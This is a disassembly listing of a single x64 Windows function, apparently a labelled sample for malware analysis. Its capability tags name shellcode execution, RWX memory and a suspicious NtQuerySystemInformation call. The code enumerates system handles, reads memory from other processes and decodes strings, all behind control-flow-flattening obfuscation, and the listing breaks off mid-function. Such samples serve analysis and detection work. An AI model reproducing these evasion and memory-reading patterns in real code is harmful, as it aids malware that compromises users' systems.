Function at 0x1402b77c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x118
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x90], 0xfffffffffffffffe
mov qword [rbp + 0x28], rcx
mov dword [rbp + 0x24], 0
xor esi, esi
lea r9, [rbp + 0x24]
mov ecx, 0x40
xor edx, edx
xor r8d, r8d
call sub.ntdll.dll_NtQuerySystemInformation
cmp eax, 0xc0000004
jne 0x1402b91a5
xor ebx, ebx
mov r15, qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdi, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea rsi, [rbp + 0x24]
nop word cs:[rax + rax]
nop
mov rcx, rbx
xor edx, edx
mov r8d, 0x8000
call r15
mov edx, dword [rbp + 0x24]
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 4
call rdi
mov rbx, rax
mov r8d, dword [rbp + 0x24]
mov ecx, 0x40
mov rdx, rax
mov r9, rsi
call sub.ntdll.dll_NtQuerySystemInformation
cmp eax, 0xc0000004
je 0x1402b7830
test eax, eax
js 0x1402b79d0
test rbx, rbx
je 0x1402b79d0
cmp qword [rbx], 0
je 0x1402b79d9
mov rsi, rbx
add rsi, 0x10
mov edi, 1
xor eax, eax
xor r14d, r14d
jmp 0x1402b78aa
mov eax, edi
add edi, 1
cmp qword [rbx], rax
jbe 0x1402b78e5
lea rax, [rax + rax*4]
mov r12, r14
mov rcx, qword [rbp + 0x28]
cmp qword [rsi + rax*8 + 0x10], rcx
setne r13b
jne 0x1402b78c4
mov r12, qword [rsi + rax*8]
mov r15, qword [rsi + rax*8 + 8]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov eax, eax
cmp r15, rax
sete cl
cmove r14, r12
test cl, r13b
jne 0x1402b78a0
cmp r15, rax
jne 0x1402b78a0
xor esi, esi
mov rcx, rbx
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test r14, r14
je 0x1402b91a5
mov qword [rbp - 0x60], 0
add r14, 8
mov ecx, 0x25de3e55
mov r12d, 0xf7feff39
mov esi, 0x6b46bc4a
lea r15, [rbp - 0x60]
mov edx, dword [0x140b7e098]
lea edi, [rdx - 1]
imul edi, edx
test dil, 1
sete dl
cmp dword [0x140b7e09c], 0xa
setl bl
or bl, dl
mov edx, 0x1641141b
cmovne edx, r12d
mov edi, 0x1641141b
cmovne edi, esi
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x1641141a
jle 0x1402b7990
cmp ecx, 0x1641141b
je 0x1402b79a2
cmp ecx, 0x6b46bc4a
je 0x1402b79a9
cmp ecx, 0x25de3e55
jne 0x1402b7960
jmp 0x1402b79b1
cmp ecx, 0xdd241186
je 0x1402b79ad
cmp ecx, 0xf7feff39
jne 0x1402b7960
jmp 0x1402b79f1
mov ecx, 0x6b46bc4a
jmp 0x1402b7960
mov ecx, edx
jmp 0x1402b7960
mov ecx, edi
jmp 0x1402b7960
mov r9d, 8
mov rcx, qword [rbp + 0x28]
mov rdx, r15
mov r8, r14
call fcn.1402c4d40
mov ecx, 0xdd241186
jmp 0x1402b7921
test rbx, rbx
je 0x1402b91a3
xor esi, esi
mov rcx, rbx
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x1402b91a5
and al, 1
mov byte [rbp - 0x50], al
mov al, byte [rbp - 0x50]
cmp al, 1
jne 0x1402b7ad3
mov rsi, qword [rbp - 0x60]
test rsi, rsi
je 0x1402b7ad3
mov qword [rbp - 0x58], 0
add rsi, 8
mov ecx, 0x25de3e55
mov r12d, 0xf7feff39
mov edi, 0x6b46bc4a
lea r15, [rbp - 0x58]
mov edx, dword [0x140b7e098]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
sete dl
cmp dword [0x140b7e09c], 0xa
setl bl
or bl, dl
mov edx, 0x1641141b
cmovne edx, r12d
mov ebx, 0x1641141b
cmovne ebx, edi
nop dword [rax]
cmp ecx, 0x1641141a
jle 0x1402b7a90
cmp ecx, 0x1641141b
je 0x1402b7aa5
cmp ecx, 0x6b46bc4a
je 0x1402b7aac
cmp ecx, 0x25de3e55
jne 0x1402b7a60
jmp 0x1402b7ab4
cmp ecx, 0xdd241186
je 0x1402b7ab0
cmp ecx, 0xf7feff39
jne 0x1402b7a60
jmp 0x1402b829d
mov ecx, 0x6b46bc4a
jmp 0x1402b7a60
mov ecx, edx
jmp 0x1402b7a60
mov ecx, ebx
jmp 0x1402b7a60
mov r9d, 8
mov rcx, qword [rbp + 0x28]
mov rdx, r15
mov r8, rsi
call fcn.1402c4d40
mov ecx, 0xdd241186
jmp 0x1402b7a2e
lea rax, [rbp - 0x50]
mov qword [rbp + 0x30], rax
mov eax, 0x1ab3f481
jmp 0x1402b7aed
mov eax, 0x86641270
cmp ecx, 0xa
cmovl eax, edx
cmp eax, 0xe3b5b7ec
jle 0x1402b7b40
cmp eax, 0x1ab3f480
jg 0x1402b7b90
cmp eax, 0xe3b5b7ed
je 0x1402b7be5
cmp eax, 0xf02600bd
jne 0x1402b7aed
mov eax, dword [0x140b7e210]
mov ecx, dword [0x140b7e214]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, 0xdd50eff8
mov eax, 0xdd50eff8
test bl, 1
je 0x1402b7ae7
jmp 0x1402b7b82
cmp eax, 0xca3a1c26
jg 0x1402b7bd0
cmp eax, 0x86641270
je 0x1402b7bef
cmp eax, 0xb60b0259
jne 0x1402b7aed
mov eax, dword [0x140b7e210]
mov ecx, dword [0x140b7e214]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, 0xf02600bd
mov eax, 0xf02600bd
test bl, 1
je 0x1402b7ae7
mov eax, 0xe3b5b7ed
jmp 0x1402b7ae7
cmp eax, 0x652ab22e
je 0x1402b7c33
cmp eax, 0x1ab3f481
jne 0x1402b7aed
mov eax, dword [0x140b7e210]
mov ecx, dword [0x140b7e214]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, 0x652ab22e
mov eax, 0x652ab22e
test bl, 1
je 0x1402b7ae7
jmp 0x1402b7ae2
cmp eax, 0xca3a1c27
jne 0x1402b7c97
mov eax, 0xb60b0259
jmp 0x1402b7aed
mov eax, 0xf02600bd
jmp 0x1402b7aed
mov rax, qword [rbp + 0x30]
movzx ecx, word [0x1407181fa]
mov word [rax + 0x40], cx
movups xmm0, xmmword [0x1407181ea]
movups xmmword [rax + 0x30], xmm0
movups xmm0, xmmword [0x1407181da]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [0x1407181ca]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x1407181ba]
movups xmmword [rax], xmm0
mov eax, 0x652ab22e
jmp 0x1402b7aed
mov rax, qword [rbp + 0x30]
movzx ecx, word [0x1407181fa]
mov word [rax + 0x40], cx
movups xmm0, xmmword [0x1407181ea]
movups xmmword [rax + 0x30], xmm0
movups xmm0, xmmword [0x1407181da]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [0x1407181ca]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x1407181ba]
movups xmmword [rax], xmm0
mov eax, dword [0x140b7e210]
mov ecx, dword [0x140b7e214]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, 0xca3a1c27
mov eax, 0xca3a1c27
test bl, 1
je 0x1402b7ae7
jmp 0x1402b7ae2
cmp eax, 0xdd50eff8
jne 0x1402b7aed
mov edx, 0x8748c8a9
mov r15d, 0xc65f1085
mov r13d, 0x50293d86
mov r10d, 0x21cb4021
mov r11d, 0xe0cc6d2a
mov r12d, 0x128c8e49
mov r14d, 0xb5d93b24
mov esi, 0x338dbafd
jmp 0x1402b7cf0
mov dword [rbp + 0x30], r8d
cmp dword [rbp + 0x30], 0
setne byte [rbp + 0x8b]
mov edx, 0x9f6c9019
nop word cs:[rax + rax]
cmp edx, 0xe802037e
jle 0x1402b7d30
cmp edx, 0x4fe953b1
jg 0x1402b7d80
cmp edx, 0xe802037f
je 0x1402b8270
cmp edx, 0xe8b6baac
je 0x1402b7e23
cmp edx, 0x3e7393f8
jne 0x1402b7cf0
mov rax, qword [rbp + 0x50]
mov edx, 0xd56c2cac
jmp 0x1402b7cf0
cmp edx, 0x9e0f4f18
jle 0x1402b7db0
cmp edx, 0x9e0f4f19
je 0x1402b827a
cmp edx, 0x9f6c9019
je 0x1402b8245
cmp edx, 0xd56c2cac
jne 0x1402b7cf0
mov rax, qword [rbp + 0x50]
mov qword [rbp + 0x48], rax
mov eax, dword [0x140b7e150]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov edx, 0x3e7393f8
mov eax, 0x6c271ea9
jmp 0x1402b7ddd
cmp edx, 0x5fc824e5
je 0x1402b825e
cmp edx, 0x6c271ea9
jne 0x1402b828c
mov edx, 0x4fe953b2
jmp 0x1402b7cf0
cmp edx, 0x8748c8a9
je 0x1402b7def
cmp edx, 0x902181fc
jne 0x1402b7cf0
mov eax, dword [0x140b7e150]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov edx, 0x3e7393f8
mov eax, 0xd56c2cac
cmove edx, eax
cmp dword [0x140b7e154], 0xa
cmovl edx, eax
jmp 0x1402b7cf0
movzx edx, word [rbp - 0x10]
mov word [rbp + 0x80], dx
mov edx, 0xbb5e604a
nop
cmp edx, 0xd06c8a41
je 0x1402b7cd2
cmp edx, 0xbb5e604a
jne 0x1402b7e00
movzx r8d, word [rbp + 0x80]
mov edx, 0xd06c8a41
jmp 0x1402b7e00
mov rdx, qword [rbp + 0x58]
mov ecx, dword [0x140b81afc]
mov ebx, dword [0x140b81b00]
lea eax, [rcx - 1]
imul eax, ecx
test al, 1
sete byte [rbp + 0x88]
cmp ebx, 0xa
setl byte [rbp + 0x78]
mov r9d, 0x8076824b
jmp 0x1402b7e80
mov dword [rbp + 0x70], r8d
mov eax, dword [0x140b81afc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov r9d, 0x597b83a4
cmove r9d, r10d
cmp dword [0x140b81b00], 0xa
cmovl r9d, r10d
nop dword [rax]
cmp r9d, 0x128c8e48
jg 0x1402b7ee0
cmp r9d, 0xc65f1084
jg 0x1402b7f30
cmp r9d, 0xa78ccaef
jle 0x1402b8005
cmp r9d, 0xa78ccaf0
je 0x1402b80f6
cmp r9d, 0xae44f381
je 0x1402b812a
cmp r9d, 0xb5d93b24
jne 0x1402b7e80
mov r9d, 0xf04afd99
mov r8d, dword [rbp - 0x58]
jmp 0x1402b7e80
cmp r9d, 0x3f4feac7
jg 0x1402b7f90
cmp r9d, 0x331eac5f
jle 0x1402b80a9
cmp r9d, 0x331eac60
je 0x1402b811f
cmp r9d, 0x338dbafd
je 0x1402b81c3
cmp r9d, 0x34a3a210
jne 0x1402b7e80
mov r9d, 0xf04afd99
xor r8d, r8d
jmp 0x1402b7e80
cmp r9d, 0xf04afd98
jle 0x1402b8066
cmp r9d, 0xf04afd99
je 0x1402b7e51
cmp r9d, 0x5f54756
je 0x1402b815c
cmp r9d, 0x11455b56
jne 0x1402b7e80
mov eax, dword [0x140b81afc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov r9d, 0x7c36b275
cmove r9d, r12d
cmp dword [0x140b81b00], 0xa
cmovl r9d, r12d
jmp 0x1402b7e80
cmp r9d, 0x597b83a3
jg 0x1402b7fbe
cmp r9d, 0x3f4feac8
je 0x1402b81db
cmp r9d, 0x50293d86
jne 0x1402b822e
mov r9d, 0x34a3a210
jmp 0x1402b7e80
cmp r9d, 0x597b83a4
je 0x1402b8185
cmp r9d, 0x7c36b275
jne 0x1402b7e80
mov rax, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x30]
movzx ebx, word [rbp + 0x8c]
mov word [rcx + rax*2], bx
mov eax, dword [rbp + 0x70]
mov eax, dword [rbp + 0x70]
mov eax, dword [rbp + 0x70]
mov eax, dword [rbp + 0x70]
mov r9d, 0x128c8e49
jmp 0x1402b7e80
cmp r9d, 0x8076824b
je 0x1402b8193
cmp r9d, 0x824b680d
jne 0x1402b7e80
movsxd rax, dword [rbp + 0x70]
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
movzx eax, word [rdx + rax*2]
mov dword [rbp + 0x60], eax
movsxd rax, dword [rbp + 0x70]
imul rcx, rax, 0xffffffffa0a0a0a1
shr rcx, 0x20
add ecx, eax
mov ebx, ecx
shr ebx, 0x1f
sar ecx, 5
add ecx, ebx
imul ecx, ecx, 0x33
sub eax, ecx
mov dword [rbp + 0x18], eax
mov r9d, 0xae44f381
jmp 0x1402b7e80
cmp r9d, 0xc65f1085
je 0x1402b81b8
cmp r9d, 0xe0cc6d2a
jne 0x1402b7e80
mov eax, dword [0x140b81afc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov r9d, 0x3f4feac8
cmove r9d, r13d
cmp dword [0x140b81b00], 0xa
cmovl r9d, r13d
jmp 0x1402b7e80
cmp r9d, 0x128c8e49
je 0x1402b81e6
cmp r9d, 0x21cb4021
jne 0x1402b7e80
mov eax, dword [rbp + 0x70]
cmp eax, 0x21
setl byte [rbp + 0x7c]
mov eax, dword [0x140b81afc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov r9d, 0x597b83a4
cmove r9d, esi
cmp dword [0x140b81b00], 0xa
cmovl r9d, esi
jmp 0x1402b7e80
mov eax, dword [0x140b81afc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov r9d, 0x331eac60
cmove r9d, r15d
cmp dword [0x140b81b00], 0xa
cmovl r9d, r15d
jmp 0x1402b7e80
mov r9d, 0xa78ccaf0
jmp 0x1402b7e80
mov eax, dword [rbp + 0x18]
lea ecx, [rax + 0x36]
mov ebx, dword [rbp + 0x60]
mov edi, 0xffc9
sub edi, eax
and edi, ebx
not ebx
and ebx, ecx
or edi, ebx
mov word [rbp + 0x8c], di
lea rax, [rbp - 0x50]
mov qword [rbp + 0x30], rax
mov r9d, 0x11455b56
jmp 0x1402b7e80
mov eax, dword [0x140b81afc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov r9d, 0x3f4feac8
cmove r9d, r11d
cmp dword [0x140b81b00], 0xa
cmovl r9d, r11d
jmp 0x1402b7e80
mov eax, dword [rbp + 0x70]
mov r9d, 0x21cb4021
jmp 0x1402b7e80
movzx eax, byte [rbp + 0x88]
cmp byte [rbp + 0x78], 0
mov r9d, 0x331eac60
mov ecx, 0xa78ccaf0
cmovne r9d, ecx
test al, al
cmovne r9d, ecx
jmp 0x1402b7e80
mov r9d, 0x5f54756
jmp 0x1402b7e80
cmp byte [rbp + 0x7c], 0
mov r9d, 0x48284ab5
mov eax, 0x824b680d
cmovne r9d, eax
jmp 0x1402b7e80
mov r9d, 0xe0cc6d2a
jmp 0x1402b7e80
mov rax, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x30]
movzx ebx, word [rbp + 0x8c]
mov word [rcx + rax*2], bx
mov eax, dword [rbp + 0x70]
add eax, 1
mov dword [rbp - 0x58], eax
mov eax, dword [0x140b81afc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov r9d, 0x7c36b275
cmove r9d, r14d
cmp dword [0x140b81b00], 0xa
cmovl r9d, r14d
jmp 0x1402b7e80
cmp r9d, 0x48284ab5
jne 0x1402b7e80
mov edx, 0xe802037f
jmp 0x1402b7cf0
cmp byte [rbp + 0x8b], 0
mov edx, 0x5fc824e5
mov eax, 0x9e0f4f19
cmovne edx, eax
jmp 0x1402b7cf0
lea rax, [rbp - 0x50]
mov qword [rbp + 0x50], rax
mov edx, 0x902181fc
jmp 0x1402b7cf0
mov edx, 0x5fc824e5
jmp 0x1402b7cf0
lea rax, [rbp - 0x50]
mov qword [rbp + 0x58], rax
mov edx, 0xe8b6baac
jmp 0x1402b7cf0
cmp edx, 0x4fe953b2
jne 0x1402b7cf0
jmp 0x1402b918b
and al, 1
mov byte [rbp - 0x50], al
mov al, byte [rbp - 0x50]
cmp al, 1
jne 0x1402b8383
mov rsi, qword [rbp - 0x58]
test rsi, rsi
je 0x1402b8383
mov qword [rbp + 0x18], 0
add rsi, 0x28
mov ecx, 0x25de3e55
mov r12d, 0xf7feff39
mov edi, 0x6b46bc4a
lea r15, [rbp + 0x18]
mov edx, dword [0x140b7e098]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
sete dl
cmp dword [0x140b7e09c], 0xa
setl bl
or bl, dl
mov edx, 0x1641141b
cmovne edx, r12d
mov ebx, 0x1641141b
cmovne ebx, edi
nop dword [rax]
cmp ecx, 0x1641141a
jle 0x1402b8340
cmp ecx, 0x1641141b
je 0x1402b8355
cmp ecx, 0x6b46bc4a
je 0x1402b835c
cmp ecx, 0x25de3e55
jne 0x1402b8310
jmp 0x1402b8364
cmp ecx, 0xdd241186
je 0x1402b8360
cmp ecx, 0xf7feff39
jne 0x1402b8310
jmp 0x1402b84be
mov ecx, 0x6b46bc4a
jmp 0x1402b8310
mov ecx, edx
jmp 0x1402b8310
mov ecx, ebx
jmp 0x1402b8310
mov r9d, 8
mov rcx, qword [rbp + 0x28]
mov rdx, r15
mov r8, rsi
call fcn.1402c4d40
mov ecx, 0xdd241186
jmp 0x1402b82da
mov edx, 0x7ecf8ad9
mov eax, 0xa3179f4
mov ecx, 0xcfa2825e
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xf44f9cf5
jle 0x1402b83e0
cmp edx, 0xf44f9cf6
je 0x1402b8454
cmp edx, 0xa3179f4
je 0x1402b85a3
cmp edx, 0x7ecf8ad9
jne 0x1402b83a0
lea rdx, [rbp - 0x50]
mov qword [rbp + 0x30], rdx
mov edx, 0xf44f9cf6
jmp 0x1402b83a0
cmp edx, 0xabea67dd
je 0x1402b847a
cmp edx, 0xcfa2825e
jne 0x1402b83a0
mov rdx, qword [rbp + 0x30]
movzx ebx, word [0x14071823c]
mov word [rdx + 0x40], bx
movups xmm0, xmmword [0x14071822c]
movups xmmword [rdx + 0x30], xmm0
movups xmm0, xmmword [0x14071821c]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [0x14071820c]
movups xmmword [rdx + 0x10], xmm0
movups xmm0, xmmword [0x1407181fc]
movups xmmword [rdx], xmm0
mov edx, dword [0x140b7e220]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0xabea67dd
cmove edx, eax
cmp dword [0x140b7e224], 0xa
cmovl edx, eax
jmp 0x1402b83a0
mov edx, dword [0x140b7e220]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0xabea67dd
cmove edx, ecx
cmp dword [0x140b7e224], 0xa
cmovl edx, ecx
jmp 0x1402b83a0
mov rdx, qword [rbp + 0x30]
movzx ebx, word [0x14071823c]
mov word [rdx + 0x40], bx
movups xmm0, xmmword [0x14071822c]
movups xmmword [rdx + 0x30], xmm0
movups xmm0, xmmword [0x14071821c]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [0x14071820c]
movups xmmword [rdx + 0x10], xmm0
movups xmm0, xmmword [0x1407181fc]
movups xmmword [rdx], xmm0
mov edx, 0xcfa2825e
jmp 0x1402b83a0
and al, 1
mov byte [rbp - 0x50], al
mov al, byte [rbp - 0x50]
cmp al, 1
jne 0x1402b8b9a
mov rsi, qword [rbp + 0x18]
test rsi, rsi
je 0x1402b8b9a
xorps xmm0, xmm0
movaps xmmword [rbp + 0x30], xmm0
add rsi, 0x58
mov ecx, 0x25de3e55
mov r12d, 0xf7feff39
mov edi, 0x6b46bc4a
lea r15, [rbp + 0x30]
mov edx, dword [0x140b7e098]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
sete dl
cmp dword [0x140b7e09c], 0xa
setl bl
or bl, dl
mov edx, 0x1641141b
cmovne edx, r12d
mov ebx, 0x1641141b
cmovne ebx, edi
nop dword [rax]
cmp ecx, 0x1641141a
jle 0x1402b8560
cmp ecx, 0x1641141b
je 0x1402b8575
cmp ecx, 0x6b46bc4a
je 0x1402b857c
cmp ecx, 0x25de3e55
jne 0x1402b8530
jmp 0x1402b8584
cmp ecx, 0xdd241186
je 0x1402b8580
cmp ecx, 0xf7feff39
jne 0x1402b8530
jmp 0x1402b8c5f
mov ecx, 0x6b46bc4a
jmp 0x1402b8530
mov ecx, edx
jmp 0x1402b8530
mov ecx, ebx
jmp 0x1402b8530
mov r9d, reloc.WS2_32.dll_recv
mov rcx, qword [rbp + 0x28]
mov rdx, r15
mov r8, rsi
call fcn.1402c4d40
mov ecx, 0xdd241186
jmp 0x1402b84fa
mov edx, 0x8748c8a9
mov r15d, 0xc65f1085
mov r13d, 0x50293d86
mov r10d, 0x21cb4021
mov r11d, 0xe0cc6d2a
mov r12d, 0x128c8e49
mov r14d, 0xb5d93b24
mov esi, 0x338dbafd
jmp 0x1402b85f0
mov dword [rbp + 0x30], r8d
cmp dword [rbp + 0x30], 0
setne byte [rbp + 0x6f]
mov edx, 0x9f6c9019
nop word cs:[rax + rax]
nop
cmp edx, 0xe802037e
jle 0x1402b8630
cmp edx, 0x4fe953b1
jg 0x1402b8680
cmp edx, 0xe802037f
je 0x1402b8b6d
cmp edx, 0xe8b6baac
je 0x1402b8723
cmp edx, 0x3e7393f8
jne 0x1402b85f0
mov rax, qword [rbp + 0x50]
mov edx, 0xd56c2cac
jmp 0x1402b85f0
cmp edx, 0x9e0f4f18
jle 0x1402b86b0
cmp edx, 0x9e0f4f19
je 0x1402b8b77
cmp edx, 0x9f6c9019
je 0x1402b8b45
cmp edx, 0xd56c2cac
jne 0x1402b85f0
mov rax, qword [rbp + 0x50]
mov qword [rbp + 0x48], rax
mov eax, dword [0x140b7e150]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov edx, 0x3e7393f8
mov eax, 0x6c271ea9
jmp 0x1402b86dd
cmp edx, 0x5fc824e5
je 0x1402b8b5b
cmp edx, 0x6c271ea9
jne 0x1402b8b89
mov edx, 0x4fe953b2
jmp 0x1402b85f0
cmp edx, 0x8748c8a9
je 0x1402b86ef
cmp edx, 0x902181fc
jne 0x1402b85f0
mov eax, dword [0x140b7e150]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov edx, 0x3e7393f8
mov eax, 0xd56c2cac
cmove edx, eax
cmp dword [0x140b7e154], 0xa
cmovl edx, eax
jmp 0x1402b85f0
movzx edx, word [rbp - 0x10]
mov word [rbp + 0x80], dx
mov edx, 0xbb5e604a
nop
cmp edx, 0xd06c8a41
je 0x1402b85d3
cmp edx, 0xbb5e604a
jne 0x1402b8700
movzx r8d, word [rbp + 0x80]
mov edx, 0xd06c8a41
jmp 0x1402b8700
mov rdx, qword [rbp + 0x58]
mov ecx, dword [0x140b81afc]
mov ebx, dword [0x140b81b00]
lea eax, [rcx - 1]
imul eax, ecx
test al, 1
sete byte [rbp + 0x8b]
cmp ebx, 0xa
setl byte [rbp + 0x88]
mov r9d, 0x8076824b
jmp 0x1402b8780
mov dword [rbp + 0x70], r8d
mov eax, dword [0x140b81afc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov r9d, 0x597b83a4
cmove r9d, r10d
cmp dword [0x140b81b00], 0xa
cmovl r9d, r10d
nop dword [rax]
cmp r9d, 0x128c8e48
jg 0x1402b87e0
cmp r9d, 0xc65f1084
jg 0x1402b8830
cmp r9d, 0xa78ccaef
jle 0x1402b8902
cmp r9d, 0xa78ccaf0
je 0x1402b89f6
cmp r9d, 0xae44f381
je 0x1402b8a1f
cmp r9d, 0xb5d93b24
jne 0x1402b8780
mov r9d, 0xf04afd99
mov r8d, dword [rbp + 0x18]
jmp 0x1402b8780
cmp r9d, 0x3f4feac7
jg 0x1402b8890
cmp r9d, 0x331eac5f
jle 0x1402b89a9
cmp r9d, 0x331eac60
je 0x1402b8a51
cmp r9d, 0x338dbafd
je 0x1402b8ac6
cmp r9d, 0x34a3a210
jne 0x1402b8780
mov r9d, 0xf04afd99
xor r8d, r8d
jmp 0x1402b8780
cmp r9d, 0xf04afd98
jle 0x1402b8966
cmp r9d, 0xf04afd99
je 0x1402b8754
cmp r9d, 0x5f54756
je 0x1402b8a5c
cmp r9d, 0x11455b56
jne 0x1402b8780
mov eax, dword [0x140b81afc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov r9d, 0x7c36b275
cmove r9d, r12d
cmp dword [0x140b81b00], 0xa
cmovl r9d, r12d
jmp 0x1402b8780
cmp r9d, 0x597b83a3
jg 0x1402b88be
cmp r9d, 0x3f4feac8
je 0x1402b8ade
cmp r9d, 0x50293d86
jne 0x1402b8b2e
mov r9d, 0x34a3a210
jmp 0x1402b8780
cmp r9d, 0x597b83a4
je 0x1402b8a85
cmp r9d, 0x7c36b275
jne 0x1402b8780
mov rax, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x30]
movzx ebx, word [rbp + 0x7c]
mov word [rcx + rax*2], bx
mov eax, dword [rbp + 0x70]
mov eax, dword [rbp + 0x70]
mov eax, dword [rbp + 0x70]
mov eax, dword [rbp + 0x70]
mov r9d, 0x128c8e49
jmp 0x1402b8780
cmp r9d, 0x8076824b
je 0x1402b8a93
cmp r9d, 0x824b680d
jne 0x1402b8780
movsxd rax, dword [rbp + 0x70]
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
movzx eax, word [rdx + rax*2]
mov dword [rbp + 0x8c], eax
movsxd rax, dword [rbp + 0x70]
imul rcx, rax, 0xffffffffa0a0a0a1
shr rcx, 0x20
add ecx, eax
mov ebx, ecx
shr ebx, 0x1f
sar ecx, 5
add ecx, ebx
imul ecx, ecx, 0x33
sub eax, ecx
mov dword [rbp + 0x60], eax
mov r9d, 0xae44f381
jmp 0x1402b8780
cmp r9d, 0xc65f1085
je 0x1402b8abb
cmp r9d, 0xe0cc6d2a
jne 0x1402b8780
mov eax, dword [0x140b81afc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov r9d, 0x3f4feac8
cmove r9d, r13d
cmp dword [0x140b81b00], 0xa
cmovl r9d, r13d
jmp 0x1402b8780
cmp r9d, 0x128c8e49
je 0x1402b8ae9
cmp r9d, 0x21cb4021
jne 0x1402b8780
mov eax, dword [rbp + 0x70]
cmp eax, 0x21
setl byte [rbp + 0x78]
mov eax, dword [0x140b81afc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov r9d, 0x597b83a4
cmove r9d, esi
cmp dword [0x140b81b00], 0xa
cmovl r9d, esi
jmp 0x1402b8780
mov eax, dword [0x140b81afc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov r9d, 0x331eac60
cmove r9d, r15d
cmp dword [0x140b81b00], 0xa
cmovl r9d, r15d
jmp 0x1402b8780
mov eax, dword [rbp + 0x60]
lea ecx, [rax + 0x36]
mov ebx, dword [rbp + 0x8c]
mov edi, 0xffc9
sub edi, eax
and edi, ebx
not ebx
and ebx, ecx
or edi, ebx
mov word [rbp + 0x7c], di
lea rax, [rbp - 0x50]
mov qword [rbp + 0x30], rax
mov r9d, 0x11455b56
jmp 0x1402b8780
mov r9d, 0xa78ccaf0
jmp 0x1402b8780
mov eax, dword [0x140b81afc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov r9d, 0x3f4feac8
cmove r9d, r11d
cmp dword [0x140b81b00], 0xa
cmovl r9d, r11d
jmp 0x1402b8780
mov eax, dword [rbp + 0x70]
mov r9d, 0x21cb4021
jmp 0x1402b8780
movzx eax, byte [rbp + 0x8b]
cmp byte [rbp + 0x88], 0
mov r9d, 0x331eac60
mov ecx, 0xa78ccaf0
cmovne r9d, ecx
test al, al
cmovne r9d, ecx
jmp 0x1402b8780
mov r9d, 0x5f54756
jmp 0x1402b8780
cmp byte [rbp + 0x78], 0
mov r9d, 0x48284ab5
mov eax, 0x824b680d
cmovne r9d, eax
jmp 0x1402b8780
mov r9d, 0xe0cc6d2a
jmp 0x1402b8780
mov rax, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x30]
movzx ebx, word [rbp + 0x7c]
mov word [rcx + rax*2], bx
mov eax, dword [rbp + 0x70]
add eax, 1
mov dword [rbp + 0x18], eax
mov eax, dword [0x140b81afc]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov r9d, 0x7c36b275
cmove r9d, r14d
cmp dword [0x140b81b00], 0xa
cmovl r9d, r14d
jmp 0x1402b8780
cmp r9d, 0x48284ab5
jne 0x1402b8780
mov edx, 0xe802037f
jmp 0x1402b85f0
cmp byte [rbp + 0x6f], 0
mov edx, 0x5fc824e5
mov eax, 0x9e0f4f19
cmovne edx, eax
jmp 0x1402b85f0
lea rax, [rbp - 0x50]
mov qword [rbp + 0x50], rax
mov edx, 0x902181fc
jmp 0x1402b85f0
mov edx, 0x5fc824e5
jmp 0x1402b85f0
lea rax, [rbp - 0x50]
mov qword [rbp + 0x58], rax
mov edx, 0xe8b6baac
jmp 0x1402b85f0
cmp edx, 0x4fe953b2
jne 0x1402b85f0
jmp 0x1402b918b
mov eax, dword [0x140b7e228]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b7e22c], 0xa
setl cl
or cl, al
mov eax, 0x103f08b1
mov edx, 0x34ce6dc7
cmove eax, edx
mov ecx, 0x16d27754
cmove ecx, edx
mov edx, 0x5a0df047
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x34ce6dc6
jle 0x1402b8c40
cmp edx, 0x34ce6dc7
je 0x1402b8c54
cmp edx, 0x71014241
je 0x1402b8c5b
cmp edx, 0x5a0df047
